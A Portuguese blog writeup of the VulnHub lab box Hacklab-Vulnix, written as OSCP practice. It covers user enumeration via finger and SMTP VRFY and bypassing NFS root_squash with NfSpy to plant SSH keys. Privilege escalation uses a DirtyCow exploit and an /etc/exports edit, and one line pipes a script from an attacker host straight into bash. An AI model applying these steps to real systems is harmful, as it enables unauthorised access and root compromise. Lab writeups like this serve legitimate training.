WriteUp Hacklab-Vulnix 1.0

Nesse post eu fiz a writeup da box Hacklab-Vulnix, fornecida pelo vulnhub, segundo fontes, é uma box OSCP like e mediante isso e meu exame da OSCP daqui uns meses, peguei essa box para praticar pro exame.

Durante os processo de ownar essa Box, eu fiquei um pouco confuso sobre uma etapa onde eu poderia alterar um determinado arquivo porém precisava reiniciar o serviço para poder validar as alterações e a unica forma que achei para fazer isso foi reiniciando a VM pela console do VirtualBox. Procurei algumas writeups dessa box e notei que eles também fizeram dessa forma. Mas de forma resumida, essa box faz bastante peso na exploração do serviço de NFS e suas configurações.

VulnHubMachineName:PwnLab: init
Resource: https://www.vulnhub.com/entry/hacklab-vulnix,48/
Serie: https://www.vulnhub.com/series/hacklab,31/
Descrição:

Reconhecimento

Durante a etapa de reconhecimento, foi possível enumerar diversos serviços a partir da ferramenta nmap. Foram enumerados serviços de conexão remota (22/TCP) com o banner do ssh, serviço do Postfix SMTPD(25/TCP), Finger(79/TCP), um serviço NFS na porta 2049/TCP, RPC 111/TCP e outros serviços de e-mail com criptografia e sem criptografia.

Reconhecimento de serviços.

O serviço Finger(79/TCP) foi feito para ser uma interface para verificar nomes e programas que provêm alguma especie de relatório de status em um computador. Esse serviço, pode ser utilizado para enumeração de usuários, uma vez que fornece informações sobre usuários do sistema, mediante um username válido, ele indica a existência ou não do mesmo. Uma ferramenta que atende essa ténica de enumeração é o módulo auxiliar finger_users no metasploit.

Enumeração de usuários através de serivço Finger.

O serviço de SMTP na porta 25/TCP apresentou ausência de hardening devido as flags que estão habilitadas no mesmo. A flag VRFY permite a enumeração de usuários em um serviço de SMTP e deve ser desativada. Foi possível enumerar 19 usuários através do serviço de SMTP usando a flag VRFY com a ferramenta smtp-user-enum(pentestmonkey.net/tools/smtp-user-enum/smtp-user-enum-1.2.tar.gz).

Enumeração de usuários a partir de função VRFY em serviço de SNMP..

O módulo auxiliar smtp_enum do metasploit, pode ser usado para enumerar usuários através do serviço SMTP com a flag VRFY habilitada. O módulo foi capaz de identificar 23 usuários no sistema.

Módulo auxiliar smtp_enum do Metasploit executando enumeração de usuários.

Foi identificado um serviço de RPC(https://en.wikipedia.org/wiki/Remote_procedure_call) na porta 111/TCP. RPC(ou Remote procedure call)é um programa que permite a execução de rotinas(procedimentos) com um conceito de sistema distribuido, abstraindo a interface do usuário de saber em qual host da rede a rotina está sendo executada. Esse serviço contém informações úteis para a etapa de reconhecimento, como por exemplo, ele lista os serviços disponíveis no host, portas e relacionados.

Enumeração de RPC identificou serviço NFS em porta 2049/TCP

Exploração

Enumerando os pontos de montagem do servidor alvo, foi possível identificar que é possível montar todo o diretório home do usuário vulnix(/home/vulnix).

Pontos de montagem em servidor alvo.

Ao realizar a montagem do diretório, foi identificado que existe uma restrição potencialmente causada pela opção ROOT_SQUASH na configuração do NFS. Essa configuração impede que os compartilhamentos sejam montados com ID administrativo, a opção propaga as permissões configuradas no servidor local para os clientes, logo se um usuário for o owner de um determinado arquivo, só o mesmo usuário poderia ter acesso.

Identificação de restrições de acesso.

Ao investigar e alterar a versão do nfs para a 3, foi possível identificar qual o nome do usuário e grupo e seus respectivos UID e GID.

sudo mount -t nfs -o vers=3 192.168.1.31:/home/vulnix /mnt
Identificação de UID e GID de usuário owner de /home/vulnix.

NFS before version 4 is reliant upon host trust relationships for authentication. The NFS server trusts any client machines to authenticate users and assign the same user IDs (UIDS) that the shared filesystem uses. This works in NIS, NIS+, and LDAP domains, for instance, but only if you know the client machine is not compromised, or faking its identity. This is because the only authentication in the NFS protocol is the passing of the UID and GID (group ID). There are a few things that can be done to enhance the security of NFS, but many of them are incomplete solutions, and even with all three listed here, it could still be possible to circumvent the security measures.

Utilizando o utilitário NFSpy(https://github.com/bonsaiviking/NfSpy) é possivel abusar da confirmação pro UID/GID de usuário para acesso ao diretório do usuário vulnix, contornando a politica ROOT_SQUASH definida no NFS.

Realização de acesso em diretório /home/vulnix e implantação de chave de acesso SSH.

Uma vez que a partição remota foi montada no filesystem do atacante, uma chave SSH foi gerada e adicionada no arquivo /home/vulnix/.ssh/authorized_keys, permitindo acesso via SSH ao usuário vulnix.

Privilege Escalation

Um novo reconhecimento no servidor foi realizado visando enumerar informações que possam contribuir para a escalação de privilégios. Ferramentas como o Linux-Exploit-Suggester(https://github.com/mzet-/linux-exploit-suggester) foram utilizadas para identificar serviços, versões e possíveis fragilidades que possam ser utilizadas para a escalação de privilégios.


vulnix@vulnix:~$ curl -sq  172.16.0.24/linux-exploit-suggester.sh | bash 

Available information:

Kernel version: 3.2.0
Architecture: i386
Distribution: ubuntu
Distribution version: 12.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

72 kernel space exploits
42 user space exploits

Possible Exploits:

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847.cpp
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2015-3202] fuse (fusermount)

   Details: http://seclists.org/oss-sec/2015/q2/520
   Exposure: probable
   Tags: debian=7.0|8.0,[ ubuntu=* ]
   Download URL: https://www.exploit-db.com/download/37089
   Comments: Needs cron or system admin interaction

Saida omitida.

Foi identificado que o kernel do sistema alvo está vulnerável a falha DirtCow(CVE-2016-5195 https://github.com/dirtycow/dirtycow.github.io/wiki). O sistema alvo não possui o GCC e as versões do curl e wget não conseguem acessar páginas que utilizam criptografia TLS no protolo HTTPS devido à compatibilidade. O exploit https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54 c0w.c foi baixado na máquina do atacante, ajustado para a arquitetura x86 e compilado para a arquitetura respectiva.

gcc c0w.c -o /mnt/c0 -pthread -m32 -march=i686

Posteriormente a execução da compilação, o binário c0 foi salvo no diretório /mnt, que é um mount para o servidor alvo no diretório /home/vulnix. Com o usuário vulnix, o binário foi executado, explorando a falha no servidor e obtendo acesso root.

Exploração de vulnerabilidade DirtCow.

Com acesso de usuário administrativo, id 0(root), foi possível obter acesso a flag localizada no arquivo /root/trophy.txt.

Obtenção de flag localizada em /root/trophy.txt

Privilege Escalation, part 2

A forma que eu acredito que foi a ideia do autor da box de explorar foi a que eu não entendi bem pois necessita de um reboot no sistema. Essa escalação de privilégio consiste no abuso dos privilégios do usuário vulnix em alterar o arquivo /etc/exports, podendo habilitar a raiz inteira do sistema para ser montado. Vi que outros caras fizeram de forma diferente, por exemplo, criando uma shell com suid de root e deixando no filesystem e depois eles executavam via ssh com o usuário vulnix. Mas acho que não faz muito sentido, se você tem acesso ao filesystem inteiro, você pode obter a flag. Se o problema for obter uma shell root, você pode realizar o mesmo procedimento de inserir uma chave em .ssh/authorized_keys para o usuário root e realizar o acesso via ssh.

Mas é isso, seguindo a write up. O usuário vulnix possui permissão de alteração no /etc/exports.

Identificação de execução de comando sem solicitação de credenciais.

Antes da alteração do arquivo /etc/exports é possível notar que a configuração do root_squash está habilitada.

vulnix@vulnix:~$ cat /etc/exports | grep -i vulnix
/home/vulnix	*(rw,root_squash)

O arquivo /etc/exports foi configurado para que toda a raiz do servidor se tornasse disponível para montagem através do NFS, configurando o diretório para / e a opção de no_root_squash.

Configuração de arquivo /etc/exports.

As alterações no arquivo /etc/exports adicionaram a raiz do servidor para compartilhamento, podendo então ser acessado o diretório do usuário root e inserir uma chave ssh pública no authorized_keys do usuário. As configurações do serviço do SSH confirmam que o usuário root pode realizar login a partir do SSH sem o procedimento de senha, e sim por chave.

Configuração em arquivo /etc/ssh/sshd_config permite a conexão do usuário root.

Posteriormente a edição do arquivo /etc/exports, é necessário dar um reboot no servidor. O usuário vulnix não tem permissão para reiniciar, recarregar o serviço de NFS para que as novas configurações se tornem válidas, o comando exportfs foi utilizado na tentativa de recarregar o serviço porém, na ausência de privilégios, não foi possível. Então o reboot foi realizado manualmente na console do VirtualBox.

O servidor voltou a responder em poucos segundos posteriormente o reboot. O programa Nfspy foi utilizado novamente para montar o diretório /root/ do servidor alvo.

Criação de chaves SSH liberação de conexão através de arquivo /root/.ssh/authorized_keys

As chaves do SSH, foram geradas com sucesso. O arquivo /root/.ssh/authorized_keys foi populado com a chave pública gerada. A conexão por ssh foi possível a flag foi obtida.

Acesso administrativo com usuário de UID 0(root) permitiu acesso a objetivo da box.

Conclusão

Essa box focou bastante na exploração do serviço NFS, o que é interessante já que é um serviço que até hoje é bastante utilizado IRL. Sobre os perigos que o NFS pode trazer a infraestrutur caso mal confgurado, uma configuração erronea pode permitir um agente ofensor a conseguir fácil acesso a arquivos ou até mesmo um foothold no servidor, como por exemplo, inserindo a chave pública no arquivo authorized_keys.

Fontes

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.